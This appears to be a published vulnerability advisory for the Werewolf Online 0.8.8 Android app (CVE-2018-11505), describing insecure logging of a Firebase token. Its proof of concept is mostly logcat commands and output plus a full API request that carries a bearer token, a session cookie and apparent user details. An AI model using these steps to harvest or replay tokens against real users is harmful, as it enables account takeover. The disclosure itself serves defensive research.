Werewolf Online 0.8.8 – Information Disclosure
# Exploit Title: Werewolf Online 0.8.8 - Insecure Logging # Date: 2018-05-24 # Software Link: https://play.google.com/store/apps/details?id=com.werewolfapps.online # Download Link: https://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details # Exploit Author: ManhNho # Version: 0.8.8 Android App # CVE: CVE-2018-11505 # Category: Mobile Apps # Tested on: Android 4.4 ---Description--- Many developers log information to the android log. Sometimes sensitive data as well. With output of logcat, Hacker can get "Firebase token" which used in PUT request to /players/meAndCheckAppVersion ---PoC--- root@vbox86p:/ # ps | grep 'were' u0_a72 9161 205 810364 172268 ffffffff b765ea23 S com.werewolfapps.online root@vbox86p:/ # logcat | grep -i '9161' I/ActivityManager( 586): Start proc com.werewolfapps.online for activity com.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072, 3003, 1028, 1015} I/MultiDex( 9161): VM with version 1.6.0 does not have multidex support I/MultiDex( 9161): Installing application ... D/RNFirebaseMessaging( 9161): Firebase token: dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8 D/RNFirebaseAuth( 9161): getToken/getIdToken D/RNFirebaseAuth( 9161): getToken:onComplete:success ... Request: PUT /players/meAndCheckAppVersion HTTP/1.1 authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw Content-Type: application/json; charset=utf-8 Content-Length: 207 Host: api-core.werewolf-apps.com Connection: close Accept-Encoding: gzip, deflate Cookie: AWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3 User-Agent: okhttp/3.6.0 {"versionNumber":48,"platform":"android","fcmToken":"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8"} ---References--- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505 https://pastebin.com/NtPn3jB8 |